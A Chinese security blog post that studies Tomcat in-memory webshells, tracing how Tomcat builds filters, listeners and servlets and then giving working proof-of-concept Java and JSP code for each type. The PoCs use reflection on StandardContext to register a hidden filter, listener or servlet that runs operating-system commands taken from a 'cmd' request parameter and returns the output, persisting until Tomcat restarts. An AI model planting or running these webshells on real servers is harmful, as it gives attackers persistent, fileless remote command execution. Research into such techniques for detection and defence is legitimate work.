Tomcat内存码

Tomcat内存码

java web和tomcat基础的前置知识可以看这篇,搭建环境也有提到,师傅这方面的文章对我这种萌新非常友好

tomcat调试环境一直配不明白,前面的步骤和师傅一样。后面pom里引入tomcat同版本的依赖后,调试直接点idea的download resource,至少以前这么做没啥问题,但这次还总会显示source code does not match bytecode。一通操作之后勉强能看,虽然调式的位置会有点小偏差

本文用的是tomcat8.5.81

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.81</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>8.5.81</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.15</version>
        </dependency>

1689144828393

一、Filter型

1.1 filter流程

filter介绍+很多例子

通过如下代码自定义一个filter,web.xml里映射到/filter

    <filter> 
        <filter-name>filter</filter-name>
        <filter-class>FilterTest</filter-class>
    </filter>
    <filter-mapping> 
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
package com.example.tomcatmemshell;

import javax.servlet.*;
import java.io.IOException;

public class FilterTest implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

1.1.1 初始化filter

先来看创建的过程,在启动tomcat时,ContextConfig#configureContext从web.xml里读取我们声明的各种信息来初始化context

1689649936291

后在StandardContext#filterStart触发我们重写的init方法。此时遍历filterDefs,filterDefs是个存储着filterDef对象的hashmap

1689303685330

可以看到filterDef里有着我们自定义的filter信息,上图代码作用是从filterDefs里取出每个filterDef,利用这个filterDef生成一个filterConfig,所有的filterConfig存在filterConfigs里

1689304085204

servelt前的多个filter之间形成一条链filterChain,再来看filter是如何构成filterChain的。在ApplicationFilterFactory#createFilterChain里初始化filterChain,后面触发所有filter都是从这个filterChain出发的。先从StandardContext里取出filterMaps,接着遍历filterMaps,从filterConfigs找出每一个filterMap对应的filterConfig,存入filterChain

  public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {

        // If there is no servlet to execute, return null
        if (servlet == null) {
            return null;
        }

        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0)) {
            return filterChain;
        }

        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher =
                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null){
            requestPath = attribute.toString();
        }

        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Add filters that match on servlet name second
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Return the completed filter chain
        return filterChain;
    }

可以看出,filterDef、filterConfig、filterMap三个变量在filter创建的过程中起了主要作用,注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。 查看此时StandardContext

1689238268710

filterConfig:存储filterDef,在filterDef里存放了filter的定义,对应web.xml里这部分声明。filterConfig相比filterDef还会多出当前context

    <filter> 
        <filter-name>filter</filter-name>
        <filter-class>FilterTest</filter-class>
    </filter>

1689239469685

filterMap:存储filter和url的映射关系,filterTest的映射关系是从web.xml里获取的

    <filter-mapping> 
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>

1689239397807

1.1.2 触发filter

再看访问filter的过程,filterChain生成后从filterChain#doFilter进入后面的访问流程

1689240116893

在浏览器访问filter时(我这里是http://localhost:8082/TomcatMemShell_war_exploded/filter),先进入ApplicationFilterChain#doFilter,继续进到ApplicationFilterChain#internalDoFilter,在其中调用链中每一个filter的dofilter方法。

1689230284413

例子中共调用两个filter,首先调用的是自定义的FilterTest#dofilter

1689235922576

接着调用WsFilter#dofilter,这是tomcat自带的filter,作用是将http请求升级为websocket连接。嗯。。直接问chatgpt得到的是需要满足以下条件,才会升级,如果真的需要升级就不会继续调用剩下的filter。websocket内存码也有用处,但应用范围不如传统的码。

  1. HTTP 请求是一个有效的 WebSocket 协议升级请求。WebSocket 协议升级请求需要满足一定的格式和条件,如包含 Upgrade 和 Connection 头部字段,以及 Sec-WebSocket-Key 和 Sec-WebSocket-Version 头部字段等。如果请求不符合 WebSocket 协议升级请求的格式或条件,WsFilter 过滤器将不会对其进行处理。
  2. 当前应用程序中已经注册了 WebSocket 端点(Endpoint)。WebSocket 端点是 WebSocket 应用程序中处理 WebSocket 连接的入口点,需要在应用程序中进行注册。如果应用程序中没有注册任何 WebSocket 端点,WsFilter 过滤器也不会对请求进行处理。

1689227921012

大部分情况都会走到chain.doFilter,在这个例子里也是如此。chain.doFilter会回到ApplicationFilterChain#doFilter,然后和前面一样,到internalDoFilter调用下一个filter,但此时因为所有filter已经走完(pos=2,n=2),调用servlet.service进入servlet,至此结束filter的部分

1689230436418

总结一下初始化和触发filter过程就是这张图

1689235092704

1.2 简单的poc

思路跟filter的创建过程是一样的

  • 创建恶意filter
  • 用filterDef对filter进行封装,添加到filterDefs
  • 继续用filterConfig封装filterDef,添加到filterConfigs
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去(addFilterMapBefore)

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

        // 1、创建恶意filter
        // 最简单版的有回显命令执行,插到filter的doFilter里
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws  ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);// 为了回到ApplicationFilterChain#doFilter
            }

            @Override
            public void destroy() {

            }

        };

        // 2、创建filterDef,加进filterDefs
        FilterDef filterDef = new FilterDef();
        // 前面分析时知filterDef里filter、filterName、filterClass需要赋值
        filterDef.setFilter(filter);
        filterDef.setFilterName("FilterShell");
        filterDef.setFilterClass(filter.getClass().getName());

        // 先获取StandardContext
        ServletContext servletContext = req.getSession().getServletContext();

        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        // 加入filterDefs
        standardContext.addFilterDef(filterDef);


        // 3、封装成filterConfig,加进filterConfigs
        // ApplicationFilterConfig的构造函数是private,只好反射创建filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);

        filterConfigs.put("FilterShell", filterConfig);


        // 4、处理filterMap
        // 创建filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addServletName("FilterShell");
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());// 这个属性表示filter拦截的消息类型是普通的servlet请求
        // addFilterMap和addFilterMapBefore都可以将filterMap加入filterMaps,后者是将新的filterMap加在最前面
        standardContext.addFilterMapBefore(filterMap);

换成jsp形式,直接抄网上最常见的那个了

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "CaraShell";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse resp = (HttpServletResponse) response;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(output);
                    resp.getWriter().flush();
                }
                chain.doFilter(request, response);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

第一次正常访问shell.jsp注入内存码,第二次就可以命令执行了,但编码可能有点问题

1689321617257

二、Listner型

listner介绍+例子

三种listener中用在访问服务时会触发的requestListener,需实现接口ServletRequestListener

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("initial TestListener");
    }
}
    <listener>
        <listener-class>ListenerTest</listener-class>
    </listener>

2.1 listener流程

2.1.1 初始化listener

这里其实和filter最开始时一样的,从xml里读取到ListenrTest,然后StandardContext#addApplicationListener把ListenerTest添加进applicationListeners。listener的操作较为简单,这个applicationListeners就已经存储了所有的listener,不像filter有一堆杂七杂八的

1689650286387

1689650597436

2.1.2 触发listener

访问时触发StandardContext#listenerStart,其中遍历applicationListeners中的所有listener,把不同种类的listener放进不同list,关注requestListener进入的eventListener

1689651495445

eventListener最后的形态的是applicationEventListenersList1689660671521

1689653876201

StandardContext#fireRequestInit实例化EventapplicationEventListenersList里面的requestListener,实例化时触发ListenerTest里重写的requestInitialized

1689660873012

1689660891554

总结一下,流程比filter简单很多,核心是applicationEventListenersList。正常流程中通过setApplicationEventListeners来初始化applicationEventListenersList,注意在赋值前会先有个clear操作,如果注入恶意listener时使用set会清除原有listener不是很妥当。去找动态添加listener的地方,不难找到还有个addApplicationEventListeners,通过这个注入就行

1689661723017

2.2 简单poc

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd1") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd1")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

三、Servlet型

个人感觉,servlet作为tomcat的核心组件理论上在动态添加应该多少会受到些检测才对,实用性讲应该不如前两个,所以这里就偷懒不从头分析了

public class TestServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        PrintWriter writer = response.getWriter();
        writer.println("hello");
    }
}
    <servlet>
        <servlet-name>servlet1</servlet-name>
        <servlet-class>ServletTest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>servlet1</servlet-name>
        <url-pattern>/ServletTest</url-pattern>
    </servlet-mapping>

3.1 servlet流程

servlet在xml里的声明方式和filter很像,从前面的经验不难猜出servlet的创建过程中肯定也有一个存着所有servlet的list,还有一个存着servlet和url映射对应关系的hashmap。然后我们注入时也是先获取StandarContex,然后修改两个属性,这样下次访问时就能动态创建恶意servlet。翻翻StandardContext验证一下猜测

很容易找到servletMappings,通过addServletMappingDecoded添加

1689665589839

另一个看size大小也很快能找到,所有servlet被封装成StandardWrapper后存在children这个hashmap里。接下来先看children怎么添加,再看servlt怎么封装

1689667019197

children在StandardContext的父类ContainerBase里,可以通过私有方法addChildInternal添加,可以被公有方法addChidl间接调用,再往上找StandardContext里重写了addChild,所以添加时只需StandardContext.addChild

1689667814645

1689667974064

另一边,看下StandardContext都有哪些属性会用到,在熟悉的filterStartup加载完filterChain之后调用了StandardContext#loadOnStartup加载servlet,注意这里loadOnStartup必须>0才会动态加载这个servlet(对应StandardWrapper$loadOnStartup默认-1)

1689671588794

1689671089487

一直跟进load,当然还需要一个servlet对象

1689672142233

所以总结一下,一个封装好的StandardWrapper中需要loadOnStartup=1、instance=ServletTest,再加上映射url时需要的servletName三个属性

3.2 简单poc

思路如下:

  • 创建恶意servlet
  • 封装恶意servlet到StandardWrapper,并添加到children里
  • 添加servlet名称和url的映射到servletMapping里
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = "ServletShell";
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
%>
<%
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/abc", name);
%>

四、写在后面

三个部分的核心如下

  • filter: filterMapping、filterConfigs(filterDef(filter))
  • listener: applicationEventListenersList
  • servlet: servletMapping、children(StandardContext(servlet))

本文里所有poc几乎都是复制粘贴网上的、所以命令执行和获取StanandarContext的方式都很随意,后面再写一篇总结下

参考

https://zhuanlan.zhihu.com/p/388788678

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w 还有些奇技淫巧

https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Tomcat/Tomcat-Filter型内存马/Tomcat-Filter型内存马.md

posted @   卡拉梅尔  阅读(29)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)
点击右上角即可分享
微信分享提示